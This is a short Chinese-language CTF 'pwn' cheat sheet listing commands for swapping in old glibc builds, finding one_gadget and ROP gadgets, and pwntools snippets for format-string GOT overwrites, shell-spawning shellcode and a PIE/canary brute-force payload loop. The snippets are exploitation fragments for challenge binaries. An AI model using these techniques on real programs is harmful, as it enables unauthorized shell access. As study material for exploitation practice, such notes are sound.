glibc-all-in-one

在glibc-all-in-one目录下

获取可下载的libc列表

1
cat list 
1
./download name

查看对应连接器

1
strings buu/libc-2.23-x64.so | grep ubuntu

查看目前链接信息

1
ldd -v pwn

换源

1
patchelf --replace-needed libc.so.6  /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 heap_Double_Free
1
patchelf --set-interpreter /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./heap_Double_Free 

Onegadget

1
one_gadget filename  #libc文件名

一运行就能拿到shell的地址,但是会标使用条件,找能实现的搞就好

ROPgadget

搜索ret指令的地址

1
ROPgadget  –binary filename –only ‘ret’ 

控制寄存器用

1
ROPgadget --binary fliename --only "pop|ret"

静态编译文件直接得到完整rop链

1
ROPgadget --binary fliename --ropchain 

搜索字符串,给出字符串地址

1
ROPgadget --binary ./fliename --string 'sh'

下面是一些零散的小python语句

1
2
context(log_level = "debug",arch = "i386",os = "linux") 
\#表明系统
1
2
payload = fmtstr_payload(offset, {atoi_got : sys_plt}) 
自动生成fmt_payload
1
shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode. 
1
2
3
payload = flat([shellcode.ljust(padding,'A'),buf_addr])

这段代码是将shellcode和buf_addr连接成一个字符串,其中shellcode右侧填充'A'字符,直到字符串长度为padding。然后使用flat函数将这个字符串转换为二进制格式,以便在后续的操作中使用。

应付pie

1
2
3
4
5
6
for k in range(500): 
p.recvuntil(b'welcome\n')
i=random.randint(0,14)
payload = b'A'*104 +canary+p64(0x7fffffffdddddddd) + p8(0x31)+p8(0x02+i*16)
p.send(payload)